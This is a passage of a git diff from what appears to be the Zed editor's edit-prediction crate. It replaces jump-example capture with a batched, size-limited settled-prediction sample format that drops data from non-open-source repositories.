     #[serde(rename = "e2e_latency")]
-    pub e2e_latency_ms: u128,
+    pub e2e_latency_ms: u64,
 }
 
 #[derive(Debug, PartialEq, Serialize, Deserialize)]
-pub struct SubmitEditPredictionSettledResponse {}
-
-#[derive(Debug, PartialEq, Serialize, Deserialize)]
-pub struct SubmitEditPredictionJumpExampleBody {
-    pub request_id: uuid::Uuid,
-    pub trigger: JumpExampleTrigger,
+pub struct SettledEditPredictionSampleData {
     pub repository_url: Option<String>,
     pub revision: Option<String>,
     /// Note: this is only the uncommitted diff for files in `edit_history`
     /// This is done to avoid excessive memory usage
+    #[serde(default, skip_serializing_if = "Option::is_none")]
     pub uncommitted_diff: Option<String>,
-    pub recently_opened_files: Vec<JumpExampleRecentFile>,
-    pub recently_viewed_files: Vec<JumpExampleRecentFile>,
-    pub cursor_path: Arc<Path>,
-    pub cursor_position: String,
-    pub edit_history: Vec<Arc<zeta_prompt::Event>>,
-    pub diagnostics: Vec<zeta_prompt::ActiveBufferDiagnostic>,
-    pub future_edit_history: String,
-    pub navigation_history: Vec<JumpExampleRecentFile>,
-    pub is_in_open_source_repo: bool,
-    pub can_collect_data: bool,
+    pub editable_path: Arc<Path>,
+    pub editable_offset_range: Range<usize>,
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub buffer_diagnostics: Vec<zeta_prompt::ActiveBufferDiagnostic>,
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub future_edit_history_events: Vec<Arc<zeta_prompt::Event>>,
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub navigation_history: Vec<EditPredictionRecentFile>,
+    pub edit_events_before_quiescence: u32,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub next_edit_cursor_offset: Option<usize>,
 }
 
-#[derive(Debug, PartialEq, Serialize, Deserialize)]
-pub struct SubmitEditPredictionJumpExampleResponse {}
+pub const MAX_EDIT_PREDICTION_SETTLED_PER_REQUEST: usize = 32;
 
-#[derive(Clone, Copy, Debug, PartialEq, Serialize, Deserialize)]
-#[serde(rename_all = "snake_case")]
-pub enum JumpExampleTrigger {
-    Prediction,
-    Diagnostic,
+#[derive(Debug, PartialEq, Serialize, Deserialize)]
+pub struct SubmitEditPredictionSettledBatchBody {
+    pub predictions: Vec<SettledEditPrediction>,
 }
 
 #[derive(Debug, PartialEq, Serialize, Deserialize)]
-pub struct JumpExampleRecentFile {
+pub struct SubmitEditPredictionSettledResponse {}
+
+#[derive(Debug, PartialEq, Serialize, Deserialize)]
+pub struct EditPredictionRecentFile {
     pub path: Arc<Path>,
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub cursor_position: Option<usize>,
diff --git a/crates/edit_prediction/src/capture_example.rs b/crates/edit_prediction/src/capture_example.rs
deleted file mode 100644
index 4f6e0f34b3018a..00000000000000
--- a/crates/edit_prediction/src/capture_example.rs
+++ /dev/null
@@ -1,565 +0,0 @@
-use crate::{
-    StoredEvent,
-    data_collection::{
-        UncommittedDiffSnapshot, compute_cursor_excerpt, compute_uncommitted_diff,
-        format_cursor_excerpt,
-    },
-    example_spec::{ExampleSpec, RecentFile},
-};
-use anyhow::Result;
-use gpui::{App, Entity, Task};
-use language::Buffer;
-use project::Project;
-use std::{fmt::Write, path::Path, sync::Arc};
-
-pub fn capture_example(
-    project: Entity<Project>,
-    buffer: Entity<Buffer>,
-    cursor_anchor: language::Anchor,
-    events: Vec<StoredEvent>,
-    recently_opened_files: Vec<RecentFile>,
-    recently_viewed_files: Vec<RecentFile>,
-    uncommitted_diff_snapshot: UncommittedDiffSnapshot,
-    populate_expected_patch: bool,
-    cx: &mut App,
-) -> Option<Task<Result<ExampleSpec>>> {
-    let snapshot = buffer.read(cx).snapshot();
-    let file = snapshot.file()?;
-    let worktree_id = file.worktree_id(cx);
-    let repository = project.read(cx).active_repository(cx)?;
-    let repository_snapshot = repository.read(cx).snapshot();
-    let worktree = project.read(cx).worktree_for_id(worktree_id, cx)?;
-    let root_name = worktree.read(cx).root_name_str().to_owned();
-    let cursor_path: Arc<Path> = file.path().as_std_path().into();
-    if worktree.read(cx).abs_path() != repository_snapshot.work_directory_abs_path {
-        return None;
-    }
-
-    let repository_url = repository_snapshot
-        .remote_origin_url
-        .clone()
-        .or_else(|| repository_snapshot.remote_upstream_url.clone())?;
-    let revision = repository_snapshot.head_commit.as_ref()?.sha.to_string();
-
-    Some(cx.spawn(async move |cx| {
-        let uncommitted_diff = cx
-            .background_executor()
-            .spawn(async move { compute_uncommitted_diff(uncommitted_diff_snapshot) })
-            .await;
-
-        let line_comment_prefix = snapshot
-            .language()
-            .and_then(|lang| lang.config().line_comments.first())
-            .map(|s| s.to_string())
-            .unwrap_or_default();
-
-        let (cursor_excerpt, cursor_offset_in_excerpt, cursor_excerpt_range) = cx
-            .background_executor()
-            .spawn(async move { compute_cursor_excerpt(&snapshot, cursor_anchor) })
-            .await;
-        let mut edit_history = String::new();
-        for stored_event in &events {
-            write_event_with_relative_paths(&mut edit_history, &stored_event.event, &root_name);
-            if !edit_history.ends_with('\n') {
-                edit_history.push('\n');
-            }
-        }
-        let uncommitted_diff_contains_edit_history = !edit_history.is_empty();
-
-        // Initialize an empty patch with context lines, to make it easy
-        // to write the expected patch by hand.
-        let mut expected_patches = Vec::new();
-        let mut rejected_patch = None;
-        if populate_expected_patch {
-            let mut empty_patch = String::new();
-            let start_row = cursor_excerpt_range.start.row + 1;
-            let row_count = cursor_excerpt_range.end.row - cursor_excerpt_range.start.row + 1;
-            writeln!(&mut empty_patch, "--- a/{}", cursor_path.display()).ok();
-            writeln!(&mut empty_patch, "+++ b/{}", cursor_path.display()).ok();
-            writeln!(
-                &mut empty_patch,
-                "@@ -{},{} +{},{} @@",
-                start_row, row_count, start_row, row_count,
-            )
-            .ok();
-            for line in cursor_excerpt.lines() {
-                writeln!(&mut empty_patch, " {}", line).ok();
-            }
-
-            expected_patches.push(empty_patch.clone());
-            rejected_patch = Some(empty_patch);
-        }
-
-        let spec = ExampleSpec {
-            name: generate_timestamp_name(),
-            repository_url,
-            revision,
-            tags: Vec::new(),
-            reasoning: None,
-            uncommitted_diff,
-            recently_opened_files,
-            recently_viewed_files,
-            uncommitted_diff_contains_edit_history,
-            cursor_path,
-            cursor_position: format_cursor_excerpt(
-                &cursor_excerpt,
-                cursor_offset_in_excerpt,
-                &line_comment_prefix,
-            ),
-            edit_history,
-            expected_patches,
-            rejected_patch,
-            telemetry: None,
-            human_feedback: Vec::new(),
-            rating: None,
-        };
-        Ok(spec)
-    }))
-}
-
-pub(crate) fn write_event_with_relative_paths(
-    output: &mut String,
-    event: &zeta_prompt::Event,
-    root_name: &str,
-) {
-    fn write_relative_path(output: &mut String, path: &Path, root_name: &str) {
-        for component in path.strip_prefix(root_name).unwrap_or(path).components() {
-            output.push('/');
-            write!(output, "{}", component.as_os_str().to_string_lossy()).ok();
-        }
-    }
-
-    let zeta_prompt::Event::BufferChange {
-        path,
-        old_path,
-        diff,
-        ..
-    } = event;
-
-    output.push_str("--- a");
-    write_relative_path(output, old_path.as_ref(), root_name);
-    output.push_str("\n+++ b");
-    write_relative_path(output, path.as_ref(), root_name);
-    output.push('\n');
-    output.push_str(diff);
-}
-
-fn generate_timestamp_name() -> String {
-    let format = time::format_description::parse("[year]-[month]-[day] [hour]:[minute]:[second]");
-    match format {
-        Ok(format) => {
-            let now = time::OffsetDateTime::now_local()
-                .unwrap_or_else(|_| time::OffsetDateTime::now_utc());
-            now.format(&format)
-                .unwrap_or_else(|_| "unknown-time".to_string())
-        }
-        Err(_) => "unknown-time".to_string(),
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-    use crate::EditPredictionStore;
-    use crate::data_collection::uncommitted_diffs_for_events;
-    use client::RefreshLlmTokenListener;
-    use client::{Client, UserStore};
-    use clock::FakeSystemClock;
-    use gpui::{AppContext as _, TestAppContext, http_client::FakeHttpClient};
-    use indoc::indoc;
-    use language::{Anchor, Point};
-    use project::{FakeFs, Project};
-    use serde_json::json;
-    use settings::SettingsStore;
-    use std::path::Path;
-
-    #[gpui::test]
-    async fn test_capture_example(cx: &mut TestAppContext) {
-        init_test(cx);
-        let fs = FakeFs::new(cx.executor());
-
-        let committed_contents = indoc! {"
-            fn main() {
-                one();
-                two();
-                three();
-                four();
-                five();
-                six();
-                seven();
-                eight();
-                nine();
-            }
-        "};
-
-        let disk_contents = indoc! {"
-            fn main() {
-                // comment 1
-                one();
-                two();
-                three();
-                four();
-                five();
-                six();
-                seven();
-                eight();
-                // comment 2
-                nine();
-            }
-        "};
-
-        fs.insert_tree(
-            "/project",
-            json!({
-                ".git": {},
-                "src": {
-                    "deleted.rs": "pub fn deleted_file() {\n    deleted();\n}\n",
-                    "main.rs": disk_contents,
-                    "new.rs": "pub fn new_file() {\n}\n",
-                }
-            }),
-        )
-        .await;
-
-        // Create an external file outside the main project
-        fs.insert_tree(
-            "/external",
-            json!({
-                "external.rs": "fn external() {}\n",
-            }),
-        )
-        .await;
-
-        fs.set_head_for_repo(
-            Path::new("/project/.git"),
-            &[
-                (
-                    "src/deleted.rs",
-                    "pub fn deleted_file() {\n    deleted();\n}\n".to_string(),
-                ),
-                ("src/main.rs", committed_contents.to_string()),
-            ],
-            "abc123def456",
-        );
-        fs.set_remote_for_repo(
-            Path::new("/project/.git"),
-            "origin",
-            "https://github.com/test/repo.git",
-        );
-
-        let project = Project::test(fs.clone(), ["/project".as_ref()], cx).await;
-
-        let buffer = project
-            .update(cx, |project, cx| {
-                project.open_local_buffer("/project/src/main.rs", cx)
-            })
-            .await
-            .unwrap();
-
-        let ep_store = cx.read(|cx| EditPredictionStore::try_global(cx).unwrap());
-        ep_store.update(cx, |ep_store, cx| {
-            ep_store.register_buffer(&buffer, &project, cx)
-        });
-        cx.run_until_parked();
-
-        let deleted_file_buffer = project
-            .update(cx, |project, cx| {
-                project.open_local_buffer("/project/src/deleted.rs", cx)
-            })
-            .await
-            .unwrap();
-        ep_store.update(cx, |ep_store, cx| {
-            ep_store.register_buffer(&deleted_file_buffer, &project, cx)
-        });
-        cx.run_until_parked();
-        deleted_file_buffer.update(cx, |buffer, cx| {
-            buffer.edit([(0..buffer.len(), "")], None, cx);
-        });
-        cx.run_until_parked();
-
-        buffer.update(cx, |buffer, cx| {
-            let point = Point::new(6, 0);
-            buffer.edit([(point..point, "    // comment 3\n")], None, cx);
-            let point = Point::new(4, 0);
-            buffer.edit([(point..point, "    // comment 4\n")], None, cx);
-
-            pretty_assertions::assert_eq!(
-                buffer.text(),
-                indoc! {"
-                    fn main() {
-                        // comment 1
-                        one();
-                        two();
-                        // comment 4
-                        three();
-                        four();
-                        // comment 3
-                        five();
-                        six();
-                        seven();
-                        eight();
-                        // comment 2
-                        nine();
-                    }
-                "}
-            );
-        });
-        cx.run_until_parked();
-
-        let new_file_buffer = project
-            .update(cx, |project, cx| {
-                project.open_local_buffer("/project/src/new.rs", cx)
-            })
-            .await
-            .unwrap();
-        ep_store.update(cx, |ep_store, cx| {
-            ep_store.register_buffer(&new_file_buffer, &project, cx)
-        });
-        cx.run_until_parked();
-        new_file_buffer.update(cx, |buffer, cx| {
-            let point = Point::new(1, 0);
-            buffer.edit([(point..point, "    created();\n")], None, cx);
-        });
-        cx.run_until_parked();
-
-        // Open and edit an external file (outside the main project's worktree)
-        let external_buffer = project
-            .update(cx, |project, cx| {
-                project.open_local_buffer("/external/external.rs", cx)
-            })
-            .await
-            .unwrap();
-        ep_store.update(cx, |ep_store, cx| {
-            ep_store.register_buffer(&external_buffer, &project, cx)
-        });
-        cx.run_until_parked();
-        external_buffer.update(cx, |buffer, cx| {
-            let point = Point::new(0, 0);
-            buffer.edit([(point..point, "// external edit\n")], None, cx);
-        });
-        cx.run_until_parked();
-
-        // Verify the external edit was recorded in events
-        let events = ep_store.update(cx, |store, cx| store.edit_history_for_project(&project, cx));
-        assert!(
-            matches!(
-                events
-                    .last()
-                    .unwrap()
-                    .event
-                    .as_ref(),
-                zeta_prompt::Event::BufferChange { path, .. } if path.as_ref() == "/external/external.rs"
-            ),
-            "external file edit should be in events"
-        );
-
-        let worktree_id = buffer.read_with(cx, |buffer, cx| buffer.file().unwrap().worktree_id(cx));
-        let unfiltered_uncommitted_diffs = ep_store
-            .update(cx, |_store, cx| {
-                uncommitted_diffs_for_events(project.clone(), worktree_id, events.clone(), cx)
-            })
-            .await
-            .unwrap();
-        assert!(
-            unfiltered_uncommitted_diffs
-                .iter()
-                .all(|(path, _, _)| path.as_ref() != Path::new("external.rs"))
-        );
-
-        let project_events = events
-            .into_iter()
-            .filter(|event| {
-                let zeta_prompt::Event::BufferChange { path, .. } = event.event.as_ref();
-                path.as_ref() != "/external/external.rs"
-            })
-            .collect::<Vec<_>>();
-        let uncommitted_diffs_by_path = ep_store
-            .update(cx, |_store, cx| {
-                uncommitted_diffs_for_events(
-                    project.clone(),
-                    worktree_id,
-                    project_events.clone(),
-                    cx,
-                )
-            })
-            .await
-            .unwrap();
-
-        let mut example = cx
-            .update(|cx| {
-                capture_example(
-                    project.clone(),
-                    buffer.clone(),
-                    Anchor::min_for_buffer(buffer.read(cx).remote_id()),
-                    project_events,
-                    Vec::new(),
-                    Vec::new(),
-                    uncommitted_diffs_by_path,
-                    true,
-                    cx,
-                )
-                .unwrap()
-            })
-            .await
-            .unwrap();
-        example.name = "test".to_string();
-
-        pretty_assertions::assert_eq!(
-            example,
-            ExampleSpec {
-                name: "test".to_string(),
-                repository_url: "https://github.com/test/repo.git".to_string(),
-                revision: "abc123def456".to_string(),
-                tags: Vec::new(),
-                reasoning: None,
-                uncommitted_diff: indoc! {"
-                    --- a/src/deleted.rs
-                    +++ b/src/deleted.rs
-                    @@ -1,3 +1,0 @@
-                    -pub fn deleted_file() {
-                    -    deleted();
-                    -}
-                    --- a/src/main.rs
-                    +++ b/src/main.rs
-                    @@ -1,11 +1,15 @@
-                     fn main() {
-                    +    // comment 1
-                         one();
-                         two();
-                    +    // comment 4
-                         three();
-                         four();
-                    +    // comment 3
-                         five();
-                         six();
-                         seven();
-                         eight();
-                    +    // comment 2
-                         nine();
-                     }
-                    --- /dev/null
-                    +++ b/src/new.rs
-                    @@ -0,0 +1,3 @@
-                    +pub fn new_file() {
-                    +    created();
-                    +}
-                "}
-                .to_string(),
-                recently_opened_files: Vec::new(),
-                recently_viewed_files: Vec::new(),
-                uncommitted_diff_contains_edit_history: true,
-                cursor_path: Path::new("src/main.rs").into(),
-                cursor_position: indoc! {"
-                    fn main() {
-                    ^[CURSOR_POSITION]
-                        // comment 1
-                        one();
-                        two();
-                        // comment 4
-                        three();
-                        four();
-                        // comment 3
-                        five();
-                        six();
-                        seven();
-                        eight();
-                        // comment 2
-                        nine();
-                    }
-                "}
-                .to_string(),
-                edit_history: indoc! {"
-                    --- a/src/deleted.rs
-                    +++ b/src/deleted.rs
-                    @@ -1,3 +1,0 @@
-                    -pub fn deleted_file() {
-                    -    deleted();
-                    -}
-                    --- a/src/main.rs
-                    +++ b/src/main.rs
-                    @@ -2,8 +2,10 @@
-                         // comment 1
-                         one();
-                         two();
-                    +    // comment 4
-                         three();
-                         four();
-                    +    // comment 3
-                         five();
-                         six();
-                         seven();
-                    --- a/src/new.rs
-                    +++ b/src/new.rs
-                    @@ -1,2 +1,3 @@
-                     pub fn new_file() {
-                    +    created();
-                     }
-                "}
-                .to_string(),
-                expected_patches: vec![
-                    indoc! {"
-                        --- a/src/main.rs
-                        +++ b/src/main.rs
-                        @@ -1,16 +1,16 @@
-                         fn main() {
-                             // comment 1
-                             one();
-                             two();
-                             // comment 4
-                             three();
-                             four();
-                             // comment 3
-                             five();
-                             six();
-                             seven();
-                             eight();
-                             // comment 2
-                             nine();
-                         }
-                    "}
-                    .to_string()
-                ],
-                rejected_patch: Some(
-                    indoc! {"
-                        --- a/src/main.rs
-                        +++ b/src/main.rs
-                        @@ -1,16 +1,16 @@
-                         fn main() {
-                             // comment 1
-                             one();
-                             two();
-                             // comment 4
-                             three();
-                             four();
-                             // comment 3
-                             five();
-                             six();
-                             seven();
-                             eight();
-                             // comment 2
-                             nine();
-                         }
-                    "}
-                    .to_string()
-                ),
-                telemetry: None,
-                human_feedback: Vec::new(),
-                rating: None,
-            }
-        );
-    }
-
-    fn init_test(cx: &mut TestAppContext) {
-        cx.update(|cx| {
-            let settings_store = SettingsStore::test(cx);
-            cx.set_global(settings_store);
-            zlog::init_test();
-            let http_client = FakeHttpClient::with_404_response();
-            let client = Client::new(Arc::new(FakeSystemClock::new()), http_client, cx);
-            let user_store = cx.new(|cx| UserStore::new(client.clone(), cx));
-            language_model::init(cx);
-            RefreshLlmTokenListener::register(client.clone(), user_store.clone(), cx);
-            EditPredictionStore::global(&client, &user_store, cx);
-        })
-    }
-}
diff --git a/crates/edit_prediction/src/capture_prediction_context.rs b/crates/edit_prediction/src/capture_prediction_context.rs
new file mode 100644
index 00000000000000..449ce8da70606a
--- /dev/null
+++ b/crates/edit_prediction/src/capture_prediction_context.rs
@@ -0,0 +1,85 @@
+use crate::{
+    EditPredictionStore, StoredEvent,
+    data_collection::{compute_uncommitted_diff, uncommitted_diffs_for_events},
+    zeta,
+};
+use anyhow::Result;
+use gpui::{Context, Entity, Task};
+use language::{Buffer, Point, ToPoint as _};
+use project::Project;
+use text::OffsetRangeExt as _;
+
+const MAX_UNCOMMITTED_DIFF_SIZE: usize = 64 * 1024;
+
+pub(crate) struct CapturedPredictionContext {
+    pub(crate) repository_url: Option<String>,
+    pub(crate) revision: Option<String>,
+    pub(crate) uncommitted_diff: Option<String>,
+    pub(crate) buffer_diagnostics: Vec<zeta_prompt::ActiveBufferDiagnostic>,
+}
+
+pub(crate) fn capture_prediction_context(
+    project: Entity<Project>,
+    buffer: Entity<Buffer>,
+    cursor_anchor: language::Anchor,
+    stored_events: Vec<StoredEvent>,
+    repository_url: Option<String>,
+    revision: Option<String>,
+    cx: &mut Context<EditPredictionStore>,
+) -> Option<Task<Result<CapturedPredictionContext>>> {
+    let snapshot = buffer.read(cx).snapshot();
+    let worktree_id = snapshot.file()?.worktree_id(cx);
+    let uncommitted_diff_task =
+        uncommitted_diffs_for_events(project, worktree_id, stored_events, cx);
+
+    Some(cx.spawn(async move |_this, cx| {
+        let uncommitted_diff_snapshot = match uncommitted_diff_task.await {
+            Ok(snapshot) => Some(snapshot),
+            Err(error) => {
+                log::debug!("failed to capture uncommitted diff: {error:?}");
+                None
+            }
+        };
+
+        let uncommitted_diff = if let Some(uncommitted_diff_snapshot) = uncommitted_diff_snapshot {
+            let estimated_uncommitted_diff_size = uncommitted_diff_snapshot
+                .iter()
+                .map(|(_, buffer_snapshot, diff_snapshot)| {
+                    diff_snapshot
+                        .hunks(buffer_snapshot)
+                        .map(|hunk| {
+                            hunk.diff_base_byte_range.len()
+                                + hunk.range.to_offset(buffer_snapshot).len()
+                        })
+                        .sum::<usize>()
+                })
+                .sum::<usize>();
+
+            if estimated_uncommitted_diff_size <= MAX_UNCOMMITTED_DIFF_SIZE {
+                let uncommitted_diff = cx
+                    .background_executor()
+                    .spawn(async move { compute_uncommitted_diff(uncommitted_diff_snapshot) })
+                    .await;
+                (uncommitted_diff.len() <= MAX_UNCOMMITTED_DIFF_SIZE).then_some(uncommitted_diff)
+            } else {
+                None
+            }
+        } else {
+            None
+        };
+
+        let buffer_diagnostics = zeta::active_buffer_diagnostics(
+            &snapshot,
+            Point::new(0, 0)..snapshot.max_point(),
+            cursor_anchor.to_point(&snapshot).row,
+            100,
+        );
+
+        Ok(CapturedPredictionContext {
+            repository_url,
+            revision,
+            uncommitted_diff,
+            buffer_diagnostics,
+        })
+    }))
+}
diff --git a/crates/edit_prediction/src/data_collection.rs b/crates/edit_prediction/src/data_collection.rs
index b56609a9d96a8b..4be37c03b86e92 100644
--- a/crates/edit_prediction/src/data_collection.rs
+++ b/crates/edit_prediction/src/data_collection.rs
@@ -7,7 +7,7 @@ use gpui::{Context, Entity, Task};
 use language::BufferSnapshot;
 use project::{Project, ProjectPath, WorktreeId};
 use std::{fmt::Write as _, ops::Range, path::Path, sync::Arc};
-use text::{OffsetRangeExt, Point};
+use text::Point;
 use util::rel_path::RelPath;
 
 pub type UncommittedDiffSnapshot = Vec<(Arc<Path>, BufferSnapshot, BufferDiffSnapshot)>;
@@ -234,17 +234,6 @@ pub(crate) fn compute_uncommitted_diff(snapshot: UncommittedDiffSnapshot) -> Str
     uncommitted_diff
 }
 
-pub(crate) fn estimate_uncommitted_diff_byte_size(snapshot: &UncommittedDiffSnapshot) -> usize {
-    let mut size = 0;
-    for (_, buffer_snapshot, diff_snapshot) in snapshot {
-        for hunk in diff_snapshot.hunks(buffer_snapshot) {
-            size += hunk.diff_base_byte_range.len();
-            size += hunk.range.to_offset(buffer_snapshot).len();
-        }
-    }
-    size
-}
-
 fn row_start_or_max(snapshot: &language::BufferSnapshot, row: u32) -> Point {
     if row >= snapshot.max_point().row {
         snapshot.max_point()
diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index 1136a482a81081..85c4f9279cf965 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -3,8 +3,8 @@ use buffer_diff::BufferDiff;
 use client::{Client, EditPredictionUsage, UserStore, global_llm_token};
 use cloud_api_client::LlmApiToken;
 use cloud_api_types::{
-    EditPredictionSettledKeptChars, OrganizationId, SubmitEditPredictionFeedbackBody,
-    SubmitEditPredictionSettledBody,
+    EditPredictionRecentFile, EditPredictionSettledKeptChars, OrganizationId,
+    SettledEditPrediction, SettledEditPredictionSampleData, SubmitEditPredictionFeedbackBody,
 };
 use cloud_llm_client::predict_edits_v3::{
     PREDICT_EDITS_MODE_HEADER_NAME, PREDICT_EDITS_REQUEST_ID_HEADER_NAME,
@@ -74,7 +74,6 @@ pub mod cursor_excerpt;
 pub mod data_collection;
 pub mod example_spec;
 pub mod fim;
-mod jump_example;
 mod license_detection;
 pub mod mercury;
 pub mod metrics;
@@ -85,7 +84,7 @@ mod prediction;
 
 pub mod udiff;
 
-mod capture_example;
+mod capture_prediction_context;
 pub mod open_ai_compatible;
 mod zed_edit_prediction_delegate;
 pub mod zeta;
@@ -93,14 +92,9 @@ pub mod zeta;
 #[cfg(test)]
 mod edit_prediction_tests;
 
+use crate::capture_prediction_context::{CapturedPredictionContext, capture_prediction_context};
 use crate::cursor_excerpt::expand_context_syntactically_then_linewise;
-use crate::data_collection::uncommitted_diffs_for_events;
-use crate::example_spec::ExampleSpec;
 use crate::example_spec::RecentFile;
-use crate::jump_example::{
-    JUMP_EXAMPLE_NAVIGATION_COUNT, JumpExampleTrigger, PendingJumpExampleCapture,
-    PendingJumpExampleCaptureKey,
-};
 use crate::license_detection::LicenseDetectionWatcher;
 use crate::mercury::Mercury;
 pub use crate::metrics::{KeptRateResult, compute_kept_rate};
@@ -136,6 +130,10 @@ const REQUEST_TIMEOUT_BACKOFF: Duration = Duration::from_secs(10);
 
 const EDIT_PREDICTION_SETTLED_TTL: Duration = Duration::from_secs(60 * 5);
 const EDIT_PREDICTION_SETTLED_QUIESCENCE: Duration = Duration::from_secs(10);
+const EDIT_PREDICTION_CAPTURE_MAX_FUTURE_EVENTS: usize = 4;
+/// The server rejects settled bodies larger than 64 KiB (compressed).
+const EDIT_PREDICTION_SETTLED_MAX_BODY_BYTES: usize = 63 * 1024;
+const EDIT_PREDICTION_SETTLED_MAX_EDITABLE_REGION_BYTES: usize = 4 * 1024;
 
 pub struct EditPredictionJumpsFeatureFlag;
 
@@ -206,7 +204,6 @@ pub struct EditPredictionModelInput {
     snapshot: BufferSnapshot,
     position: Anchor,
     events: Vec<Arc<zeta_prompt::Event>>,
-    stored_events: Vec<StoredEvent>,
     related_files: Vec<RelatedFile>,
     mode: PredictEditsMode,
     trigger: PredictEditsRequestTrigger,
@@ -358,6 +355,7 @@ fn push_recent_file(files: &mut VecDeque<RecentFile>, mut file: RecentFile) {
 struct ProjectState {
     events: VecDeque<StoredEvent>,
     last_event: Option<LastEvent>,
+    next_last_event_seq: u64,
     recently_viewed_files: VecDeque<RecentFile>,
     recently_opened_files: VecDeque<RecentFile>,
     registered_buffers: HashMap<gpui::EntityId, RegisteredBuffer>,
@@ -366,8 +364,7 @@ struct ProjectState {
     last_edit_source: Option<BufferEditSource>,
     next_pending_prediction_id: usize,
     pending_predictions: ArrayVec<PendingPrediction, 2, u8>,
-    pending_jump_example_captures: Vec<PendingJumpExampleCapture>,
-    starting_jump_example_captures: Vec<PendingJumpExampleCaptureKey>,
+    pending_prediction_captures: Vec<PendingPredictionCapture>,
     debug_tx: Option<mpsc::UnboundedSender<DebugEvent>>,
     last_edit_prediction_refresh: Option<(EntityId, Instant)>,
     last_jump_prediction_refresh: Option<(EntityId, Instant)>,
@@ -471,22 +468,36 @@ impl ProjectState {
     }
 
     fn finalize_last_event(&mut self, cx: &mut Context<EditPredictionStore>) {
-        let Some(event) = self.last_event.take() else {
-            return;
-        };
-        let Some(event) = event.finalize(&self.license_detection_watchers, cx) else {
+        let Some(last_event) = self.last_event.take() else {
             return;
         };
+        let event = last_event.finalize(&self.license_detection_watchers, cx);
 
-        for capture in &mut self.pending_jump_example_captures {
-            capture.future_events.push(event.event.clone());
+        for capture in &mut self.pending_prediction_captures {
+            capture.try_record_future_event(
+                &last_event,
+                event.as_ref(),
+                &self.license_detection_watchers,
+                cx,
+            );
         }
-        jump_example::drain_completed_jump_example_captures(self, cx);
+
+        let Some(event) = event else {
+            return;
+        };
         if self.events.len() + 1 >= EVENT_COUNT_MAX {
             self.events.pop_front();
         }
         self.events.push_back(event);
     }
+
+    fn clear_history(&mut self) {
+        self.events.clear();
+        self.last_event.take();
+        for capture in &mut self.pending_prediction_captures {
+            capture.sample_data = None;
+        }
+    }
 }
 
 #[derive(Debug, Clone)]
@@ -588,9 +599,9 @@ impl std::ops::Deref for BufferEditPrediction<'_> {
     }
 }
 
-#[derive(Clone)]
-struct PendingSettledPrediction {
+struct PendingPredictionCapture {
     request_id: EditPredictionId,
+    edited_buffer_id: EntityId,
     editable_anchor_range: Range<Anchor>,
     editable_region_before_prediction: String,
     predicted_editable_region: String,
@@ -599,23 +610,104 @@ struct PendingSettledPrediction {
     organization_id: Option<OrganizationId>,
     can_collect_data: bool,
     is_in_open_source_repo: bool,
-    example: Option<ExampleSpec>,
+    sample_data: Option<PendingPredictionCaptureSampleData>,
     model_version: Option<String>,
     enqueued_at: Instant,
     last_edit_at: Instant,
     e2e_latency: std::time::Duration,
 }
 
+struct PendingPredictionCaptureSampleData {
+    context_task: Task<Result<CapturedPredictionContext>>,
+    editable_path: Arc<Path>,
+    editable_offset_range: Range<usize>,
+    next_edit_cursor_offset: Option<usize>,
+    future_edit_history_events: Vec<Arc<zeta_prompt::Event>>,
+    navigation_history: VecDeque<RecentFile>,
+    edit_events_before_quiescence: u32,
+    prompt_history_boundary: Option<PromptHistoryBoundary>,
+}
+
+/// Marks where the prompt's edit history ended. Sample data may only include
+/// content the user produced after this point.
+struct PromptHistoryBoundary {
+    /// The seq of the first event this capture is expected to observe: the
+    /// event that was pending when the prediction was requested, or the next
+    /// event to be created if none was pending. Observing a later seq first
+    /// means events were lost while the prediction request was in flight.
+    first_event_seq: u64,
+    /// The prompt's end snapshot within the event that was pending when the
+    /// prediction was requested, if any. The first observed event is trimmed
+    /// to its suffix after this snapshot.
+    snapshot: Option<TextBufferSnapshot>,
+}
+
+impl PendingPredictionCapture {
+    /// Records the project's last event (pending or finalizing) into this
+    /// sample's future edit history. Returns false if the sample must be
+    /// dropped because its future history can't be captured accurately.
+    fn try_record_future_event(
+        &mut self,
+        last_event: &LastEvent,
+        finalized_event: Option<&StoredEvent>,
+        license_detection_watchers: &HashMap<WorktreeId, Rc<LicenseDetectionWatcher>>,
+        cx: &App,
+    ) {
+        let Some(sample) = &mut self.sample_data else {
+            return;
+        };
+        let boundary = sample.prompt_history_boundary.take();
+        let suffix_snapshot = match &boundary {
+            Some(boundary) => {
+                if last_event.seq != boundary.first_event_seq {
+                    // Events were finalized before this capture was enqueued,
+                    // so events are missing from the future history.
+                    self.sample_data.take();
+                    return;
+                }
+                boundary.snapshot.as_ref()
+            }
+            None => None,
+        };
+
+        let event = match suffix_snapshot {
+            Some(snapshot) => {
+                let suffix = last_event
+                    .suffix_after(snapshot)
+                    .and_then(|suffix| suffix.finalize(license_detection_watchers, cx));
+                let Some(suffix) = suffix else {
+                    return;
+                };
+                suffix.event
+            }
+            None => match finalized_event {
+                Some(event) => event.event.clone(),
+                None => return,
+            },
+        };
+
+        if !event.in_open_source_repo() {
+            self.sample_data.take();
+            return;
+        }
+        sample.edit_events_before_quiescence += 1;
+        if sample.future_edit_history_events.len() < EDIT_PREDICTION_CAPTURE_MAX_FUTURE_EVENTS {
+            sample.future_edit_history_events.push(event);
+        }
+    }
+}
+
 struct RegisteredBuffer {
     file: Option<Arc<dyn File>>,
     snapshot: TextBufferSnapshot,
-    pending_predictions: Vec<PendingSettledPrediction>,
     last_position: Option<Anchor>,
     _subscriptions: [gpui::Subscription; 2],
 }
 
 #[derive(Clone)]
 struct LastEvent {
+    /// Project-wide monotonic sequence number identifying this event.
+    seq: u64,
     old_snapshot: TextBufferSnapshot,
     new_snapshot: TextBufferSnapshot,
     old_file: Option<Arc<dyn File>>,
@@ -649,7 +741,7 @@ impl LastEvent {
                     })
                 });
 
-        let (diff, edit_range) = compute_diff_between_snapshots_in_range(
+        let (diff, old_range, new_range) = compute_diff_between_snapshots_in_range(
             &self.old_snapshot,
             &self.new_snapshot,
             &self.total_edit_range,
@@ -663,13 +755,15 @@ impl LastEvent {
                     old_path,
                     path,
                     diff,
+                    old_range,
